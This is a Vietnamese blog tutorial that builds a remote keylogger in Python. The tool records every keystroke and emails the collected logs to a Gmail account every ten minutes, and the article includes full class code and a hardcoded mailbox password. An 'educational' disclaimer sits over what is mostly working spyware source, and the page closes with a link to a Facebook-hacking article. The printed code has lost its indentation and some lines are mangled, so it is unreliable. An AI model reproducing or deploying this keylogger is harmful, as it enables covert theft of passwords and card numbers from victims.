Hướng dẫn tạo Keylogger bằng Python từ Scratch

Bài viết này sẽ hướng dẫn các bạn tạo keylogger bằng Python bằng cách viết và triển khai keylogger từ scratch ghi lại các thao tác gõ phím từ bàn phím và gửi chúng đến email bằng Python và thư viện keyboard.

KHUYẾN CÁO: Đây là một bài báo giáo dục nhằm mục đích nhận thức và giáo dục người đọc về các vụ hack. Không sử dụng công cụ này hoặc trang web trên bất kỳ trang web nào. Không áp dụng hoặc thực hiện bất kỳ phương pháp hoặc sử dụng các công cụ mà không có sự quan tâm của các bên. Kênh49.vn sẽ không chịu trách nhiệm dưới bất kỳ hình thức nào đối với bất kỳ hoạt động bất hợp pháp và việc sử dụng các công cụ của bạn. Chúng tôi muốn người đọc biết về các mối đe dọa đang hoạt động và cách chúng hoạt động. Sử dụng bài viết này chỉ để tham khảo cho mục đích học tập.

Keylogger là gì?

Keylogger là một loại công nghệ giám sát được sử dụng để theo dõi và ghi lại từng thao tác gõ phím được nhập trên bàn phím của một máy tính cụ thể. Trong hướng dẫn này, bạn sẽ học cách viết keylogger từ xa bằng Python.

Bạn có thể tự hỏi, tại sao keylogger lại hữu ích? Chà, khi một tin tặc (hoặc một ai đó viết script) sử dụng điều này cho các mục đích phi đạo đức, họ sẽ đăng ký mọi thứ bạn nhập vào bàn phím bao gồm thông tin đăng nhập của bạn (số thẻ tín dụng, mật khẩu, v.v.). Mục tiêu của hướng dẫn này là giúp bạn biết về các loại script này cũng như học cách tự mình triển khai các script độc hại như vậy cho mục đích giáo dục, và chúng ta sẽ cùng bắt đầu!

Hướng dẫn tạo Keylogger bằng Python

Đầu tiên, chúng ta sẽ cần cài đặt một module có tên là keyboard, đi tới thiết bị đầu cuối hoặc dấu nhắc lệnh và viết:

pip3 install keyboard

Về cơ bản, module này cho phép chúng tôi kiểm soát hoàn toàn bàn phím của bạn, kết nối các sự kiện global, đăng ký phím nóng, mô phỏng các lần nhấn phím và hơn thế nữa, và nó là module rất nhỏ.

Sau đây là những gì chúng ta cần làm:

  • Nghe các tổ hợp phím.
  • Thêm ký tự được nhấn vào một biến nhật ký chung.
  • Cứ sau N phút, hãy gửi tất cả các nhật ký quan trọng đến một email (đó là lý do tại sao tôi gọi nó là keylogger từ xa).

Hãy để chúng tôi bắt đầu bằng cách nhập các module cần thiết:

import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
# Semaphore is for blocking the current thread
# Timer is to make a method runs after an `interval` amount of time
from threading import Semaphore, Timer

Vì vậy, như tôi đã nói, chúng tôi cần tạo một tài khoản gmail mới và đảm bảo rằng:

  • Quyền truy cập ứng dụng kém an toàn hơn đang bật (chúng tôi cần bật nó vì chúng tôi sẽ đăng nhập bằng smtplib trong Python).
  • Xác minh 2 bước đang tắt.

Giống như nó được thể hiện trong hai hình sau:

Hướng dẫn tạo Keylog

Bây giờ chúng ta hãy khởi tạo các tham số:

SEND_REPORT_EVERY =600# 10 minutes
EMAIL_ADDRESS ="[email protected]"
EMAIL_PASSWORD ="toiyeukenh49"

Lưu ý: Bạn cần nhập thông tin đăng nhập gmail chính xác, nếu không điều này sẽ không hoạt động.

Chúng ta sẽ sử dụng Lập trình hướng đối tượng trong ví dụ này, vì vậy chúng ta sẽ tạo một lớp Keylogger chứa các phương thức cho mỗi tác vụ:

class Keylogger:
def __init__(self, interval):
# we gonna pass SEND_REPORT_EVERY to interval
self.interval = interval
# this is the string variable that contains the log of all
# the keystrokes within `self.interval`
self.log = ""
# for blocking after setting the on_release listener
self.semaphore = Semaphore(0)

Chúng tôi đã sử dụng semaphore ở đây, nếu bạn không quen thuộc với nó, nó không phải là vấn đề, chúng tôi sẽ cần nó chỉ để chặn luồng hiện tại (tức là toàn bộ tập lệnh).

Bây giờ, chúng ta sẽ cần sử dụng hàm on_release () của bàn phím có một lệnh gọi lại mà đối với mọi sự kiện KEY_UP (bất cứ khi nào bạn nhả một phím trong bàn phím), nó sẽ được gọi, lệnh gọi lại này nhận một tham số là KeyboardEvent có tên , hãy triển khai nó:

def callback(self, event):
"""This callback is invoked whenever a keyboard event is occured
(i.e when a key is released in this example)"""
name = event.name
if len(name) > 1:
# not a character, special key (e.g ctrl, alt, etc.)
# uppercase with [] if name == "space":
# " " instead of "space"
name = " "
elif name == "enter":
# add a new line whenever an ENTER is pressed
name = "[ENTER]n"
elif name == "decimal":
name = "."
else:
# replace spaces with underscores
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name

Vì vậy, bất cứ khi nào một phím được phát hành, nút được nhấn sẽ được thêm vào biến chuỗi self.log.

Sau đó, chúng ta sẽ cần triển khai phương thức đã đưa ra một thông báo (trong trường hợp này là nhật ký khóa), nó sẽ gửi nó dưới dạng email (hãy xem hướng dẫn này để biết thêm thông tin về cách thực hiện điều này):

def sendmail(self, email, password, message):
# manages a connection to the SMTP server
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# connect to the SMTP server as TLS mode ( for security )
server.starttls()
# login to the email account
server.login(email, password)
# send the actual message
server.sendmail(email, email, message)
# terminates the session
server.quit()

Phương pháp gửi email sau mỗi khoảng thời gian:

def report(self):
"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log:
# if there is something in log, report it
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
# print(self.log)
self.log = ""
Timer(interval=self.interval, function=self.report).start()

Vì vậy, chúng tôi đang kiểm tra xem biến self.log có thứ gì đó không (người dùng đã nhấn thứ gì đó trong khoảng thời gian đó), nếu đúng như vậy, hãy gửi nó đến email đó.

Và sau đó chúng tôi đã chuyển khoảng (trong hướng dẫn này, tôi đã đặt nó thành 10 phút hoặc 600 giây, vui lòng điều chỉnh nó theo nhu cầu của bạn) và hàm self.report () đến lớp Timer (), rồi gọi phương thức start () ngay lập tức (vì chúng ta không cần đối tượng).

Bằng cách này, phương thức chúng tôi vừa triển khai sẽ gửi các tổ hợp phím đến dưới dạng email và tự gọi đệ quy từng giây self.interval trong các chuỗi riêng biệt.

Hãy xác định phương thức gọi phương thức on_release ():

def start(self):
# start the keylogger
keyboard.on_release(callback=self.callback)
# start reporting the keylogs
self.report()
# block the current thread,
# since on_release() doesn't block the current thread
# if we don't block it, when we execute the program, nothing will happen
# that is because on_release() will start the listener in a separate thread
self.semaphore.acquire()

Về cơ bản chúng ta đã xong với lớp Keylogger, tất cả những gì chúng ta cần làm bây giờ là khởi tạo lớp này mà chúng ta vừa tạo:

if __name__ == "__main__":
keylogger = Keylogger(interval=SEND_REPORT_EVERY)
keylogger.start()

Khi bạn thực thi script, nó sẽ ghi lại các lần gõ phím của bạn, sau mỗi 10 phút, nó sẽ gửi tất cả nhật ký đến email, hãy thử xem! Vậy là chúng ta đã thực hiện xong việc tạo keylogger bằng python qua hướng dẫn này. Cùng xem lại toàn bộ đoạn code bên dưới nhé

Code KeyloggerCode Keylogger

Đây là những gì tôi nhận được trong email của mình sau 10 phút:

Hướng dẫn tạo keylogger

Đây thực sự là những gì tôi đã nhấn trên bàn phím cá nhân của mình trong suốt thời gian đó!

Xem thêm: Cách hack tài khoản facebook như thế nào

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *